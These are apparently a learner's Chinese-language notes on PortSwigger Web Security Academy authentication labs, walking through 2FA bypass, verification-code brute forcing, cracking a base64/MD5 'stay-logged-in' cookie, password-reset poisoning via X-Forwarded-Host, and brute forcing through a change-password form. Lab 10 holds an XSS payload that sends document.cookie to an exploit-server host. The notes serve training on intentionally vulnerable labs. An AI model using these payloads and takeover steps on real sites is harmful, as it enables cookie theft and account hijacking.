实验2:2FA简单旁路
已获得的凭据:wiener:peter
受害人的:carlos:montoya
双重验证绕过
第一重:密码验证
第二重:邮箱验证码
part1:
先登陆已有凭据wiener:peter
然后收取邮箱验证码
保存登录之后的url
https://0ad10086030a7d84c14d583000a40062.web-security-academy.net/my-account
part2:
使用已有凭据登录carlos账户
carlos:montoya(验证账号密码)
到这个URL就是要验证邮箱了
https://0ad10086030a7d84c14d583000a40062.web-security-academy.net/login2
part3:
直接将换为登陆成功的URL尝试绕过第二重邮箱验证
即后面替换为/my-account
就可以登陆成功
https://0ad10086030a7d84c14d583000a40062.web-security-academy.net/my-account
实验8:2FA断开逻辑
信息:
已获得的凭据:wiener:peter
受害者账号:carlos
part1:
先登陆已获得的凭据:wiener:peter
part2:
思路分析:
在网站map搜host找到刚刚的数据包login
然后还GET请求了一个login2(请求中的用户为wiener)
思路:将用户改为我们要攻击的账号carlos,并重放就可以第二步验证的是攻击账号的账号了
(分析完以后,退出登陆wiener)
part3:
第一步验证的完整过程
先使用wiener登陆,同时bp打开拦截
放过第一个登陆的数据包
此时将第二个数据包的 verify值改为受害者账号(carlos)
第三个数据包我也改为了carlos
part4:
第二步验证的完整过程
这一步是验证受害用户验证码了(4位数,直接爆破)
————
(此处一个错误提示:千万别用蛮力,全部爆破完才出来,,此时靶场已经关了,服了,用顺序递增)
此时靶场已关,重新来过(服了)
————
重新爆破(换数值递增的方法)
注意:verify=carlos需要改为受害者(否则失败)
(爆破5次发现,官方基本上把验证码设置为了1000以下)
把线程调大点
实验16:使用暴力攻击的2FA旁路(有一处数据包错误,已研究明)
再次分析错误的地方时候:
最后一步可能需要上一步的验证参数
前提:
受害人凭据:carlos:montoya
但无权访问用户的 2FA 验证码(暴力破解)
part1:
登录用户carlos,提交任意验证码0000
(目的收集数据包,验证码对不对无所谓)
part2:
Project options(项目选项)--->sessions--->add
scope(范围)---> all urls
提示:我以为老版的不能多选,就换了最新版试试
正确操作:多选条,然后删除多余的
再点击test macro
————
第三个数据包是200,是正常的
(但是我第二个数据包变成了400,不是302了,按道理账号密码是正确得跳转,并获得session)
然后都点击确认OK
再准备进行验证码爆破
四、其他身份验证机制中的漏洞
1、简述:
除了基本的登录功能外,大多数网站还提供了允许用户管理其帐户的补充功能。例如,用户通常可以更改其密码或在忘记密码时重置密码。这些机制还可能引入可被攻击者利用的漏洞。
网站通常会注意避免在其登录页面中出现众所周知的漏洞。但是很容易忽略这样一个事实,即需要采取类似的步骤来确保相关功能同样健壮。这在攻击者能够创建自己的帐户并因此能够轻松访问以研究这些附加页面的情况下尤为重要。
2、保持用户登录
一个常见的功能是即使在关闭浏览器会话后仍保持登录状态的选项。这通常是一个简单的复选框,标记为“记住我”或“保持我的登录状态”。
1、破解公式:此功能通常通过生成某种“记住我”标记来实现,然后将其存储在持久性cookie中。由于拥有此cookie可以有效地让您绕过整个登录过程,因此最好不要猜测此cookie。但是,有些网站会根据可预测的静态值(如用户名和时间戳)的串联来生成此Cookie。有些甚至将密码作为cookie的一部分。如果攻击者能够创建自己的帐户,这种方法尤其危险,因为他们可以研究自己的cookie并可能推断出它是如何生成的。一旦他们计算出了公式,他们就可以尝试强行使用其他用户的cookie来访问他们的帐户。 2、破解加密算法:一些网站假设,如果cookie以某种方式加密,即使它使用静态值,也无法猜测。如果操作正确,这可能是真的,但是使用简单的双向编码(如Base64)天真地“加密”cookie并不能提供任何保护。即使使用正确的单向哈希函数加密也不是完全安全的。如果攻击者能够轻松地识别散列算法,并且不使用salt,那么他们可能会通过简单地散列他们的单词列表来暴力破解Cookie。如果没有对cookie猜测应用类似的限制,则可以使用此方法绕过登录尝试限制。 3、XSS攻击:即使攻击者无法创建自己的帐户,他们仍然可以利用此漏洞。使用常用的技术(如XSS),攻击者可以窃取另一个用户的“记住我”cookie,并从中推断出cookie是如何构造的。如果网站是使用开源框架构建的,Cookie构建的关键细节甚至可能会公开记录。 4、密码哈希:在极少数情况下,即使经过哈希处理,也可能从Cookie中以明文形式获得用户的实际密码。众所周知的密码列表的散列版本可以在网上找到,所以如果用户的密码出现在其中一个列表中,解密散列有时可能就像将散列粘贴到搜索引擎中一样微不足道。这证明了salt在有效加密中的重要性。
————
涉及实验:
实验9:强制使用保持登录状态的Cookie
实验10:离线密码破解
3、重置用户密码
1、通过电子邮件发送密码
应避免通过不安全的通道发送持久口令。在这种情况下,安全性依赖于生成的密码在很短的时间内过期,或者用户立即再次更改其密码。否则,这种方法很容易受到中间人攻击。 电子邮件通常也不被认为是安全的,因为收件箱是永久性的,并且不是真正为机密信息的安全存储而设计的。许多用户还通过不安全的渠道在多个设备之间自动同步收件箱
2、使用URL重置密码
重置密码的一种更可靠的方法是向用户发送唯一的URL,该URL将用户带到密码重置页。此方法的安全性较低的实现使用带有易于猜测的参数的URL来标识正在重置的帐户,例如: http://vulnerable-website.com/reset-password?user=victim-user 在此示例中,攻击者可以更改user参数以引用他们识别的任何用户名。然后,他们将被直接带到一个页面,在那里他们可以为这个任意用户设置一个新密码。 此过程的一个更好的实现是生成一个高熵、难以猜测的令牌,并基于该令牌创建重置URL。在最佳情况下,此URL不应提供有关正在重置哪个用户密码的提示。 http://vulnerable-website.com/reset-password?token=a0ba0d1cb3b63d13822572fcff1a241895d893f659164d4cc550b421ebdd48a8 当用户访问此URL时,系统应该检查后端是否存在此令牌,如果存在,应该重置哪个用户的密码。此令牌应在短时间后过期,并在重置密码后立即销毁。 但是,某些网站在提交重置表单时也无法再次验证令牌。在这种情况下,攻击者只需通过自己的帐户访问重置表单,删除令牌,然后利用此页面重置任意用户的密码。 如果重置电子邮件中的URL是动态生成的,也可能容易受到密码重置毒害。在这种情况下,攻击者可能会窃取其他用户的令牌并使用它更改其密码。
3、更改用户密码
通常,更改密码需要输入当前密码,然后输入新密码两次。这些页面基本上依赖于与普通登录页面相同的过程来检查用户名和当前密码是否匹配。因此,这些页可能容易受到相同技术的攻击。 如果密码更改功能允许攻击者在不以受害用户身份登录的情况下直接访问它,则该功能可能特别危险。例如,如果用户名在隐藏字段中提供,攻击者就可能在请求中编辑此值以攻击任意用户。攻击者可能会利用此漏洞枚举用户名和强力密码。
涉及实验:
实验3:密码重置逻辑错误
实验11:通过中间件的密码重置中毒
实验12:通过更改密码暴力破解密码
实验9:强制使用保持登录状态的Cookie
信息:
关闭浏览器后,会话未销毁(可以尝试暴力破解)
已有凭据:wiener:peter
攻击账号:carlos
part1:
登陆已有账号(点击stay-logged-in)
part2:
分析登陆完整过程的数据包
(2个地方有保持登陆的值)
第一个地方,是提交登陆的地方(这个地方肯定是还没登陆进去的)
第二个地方是登陆进去后的页面(这个地方肯定是成功登陆并保存登陆状态的)
stay-logged-in的值解密出来后就是账号-密码(通过账号密码一直保持登陆状态)
先是进行了一遍base64加密
然后对密码进行了cmd5加密
part3:
提示:先退出登陆到首页
(不然后面爆破不出来)
part4:
对被攻击用户登陆状态的stay-logged-in值进行爆破
先导入密码字典
再设置加密规则
(先在是模仿加密规则,和我们退出来的方向相反)
对密码先进行md5加密
再添加被攻击账号前缀(:千万别打成中文的了)
最后base64加密
part5:
分析结果
进行长度排序
Y2FybG9zOjZlYmU3NmM5ZmI0MTFiZTk3YjNiMGQ0OGI3OTFhN2M5
解密:carlos:6ebe76c9fb411be97b3b0d48b791a7c9
解密:987654321
————
得出
账号:carlos
密码:987654321
实验10:离线密码破解
xss获取cookie的stay-logged-in值
part1:
已有凭据:wiener:peter
受害者账号:carlos
part2:
在主页找一个博客进行评论
exploit-0af000c604e4c40dc20ec4e80197006f.exploit-server.net/部分填自己的
<script>document.location='//exploit-0af000c604e4c40dc20ec4e80197006f.exploit-server.net/'+document.cookie</script>
part3:
获取xss获取的cookie
Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz
part4:
离线破解
base64破解
carlos:26323c16d5f4dabff3bb136f2460a943
cmd5解密:
carlos:onceuponatime
part5:
登陆
实验3:密码重置逻辑错误
信息:
已有凭据:wiener:peter
受害者账号:carlos
part1:
先把所有数据包抓了走一遍流程(分析找回的顺序)
输入用户名后,看邮箱
点URL后将进行重置密码
(进行重置的数据包就是关键了)
part2:
我将重置的URL发到了repeater
(观察到了前端隐藏参数,就是用户名)
将用户名改为受害者账号:carlos
302跳转了,可能成功了,现在去尝试登陆
part3:
登陆
carlos/111111
实验11:通过中间件的密码重置中毒
信息:
已有凭据:wiener:peter
本实验中X-Forwarded-Host标头是受支持的,使用它来将动态生成的重置链接指向自己控制的任意域
part1:
复制邮箱,后面要用(其实后面也可以直接查看)
exploit-0aea007604ddbf52c85306d901ca0003.exploit-server.net
part2:
退出登陆,到忘记密码流程去
先使用受害者账号名
去获取temp-forgot-password-token
添加X-Forwarded-Host标头,并指向漏洞服务器(已有的)
X-Forwarded-Host:exploit-0aea007604ddbf52c85306d901ca0003.exploit-server.net
在漏洞服务器中,找到收获账号的temp-forgot-password-token
nFLC5vX07qjtWVeye3UKdfDOjXaYK0zt
part3:
再使用自己的已有账号w……
去获取重置密码的URL
再去到服务器邮箱里面
part4:
点击重置密码的URL
并将temp-forgot-password-token值由w……的修改为被害者c……的
进入重置密码
重置的需要也需要将temp-forgot-password-token值由w……的修改为被害者c……的
part5:
重置后进行登陆
实验12:通过更改密码暴力破解密码
信息:
已有凭据:wiener:peter
受害者账号:carlos
part1:
使用已有账号分析(先登陆已有账号)
为了爆破出正确原密码,需借助错误提示(观察响应)
方法1:正确原始密码、不一致的新密码(可爆破出原密码)
爆破中:原密码错误时候提示Current password is incorrect,原密码正确的时候提示New passwords do not match
————
方法2:错误原密码、不一致新密码
爆破中:当原密码错误时候,提示Current password is incorrect;当原密码正确到时候,提示信息变为New passwords do not match
————
方法3:错误原密码、一致新密码
错误出现302跳转到登陆页面,正确也是302跳转(无法爆破)
part2:
username改为carlos
对原密码进行爆破
导入字典
在结果数据包中匹配New passwords do not match(此时说明原密码已经正确了)
part3:
分析结果
账号:carlos
密码:7777777
注册已登陆账号,并登陆carlos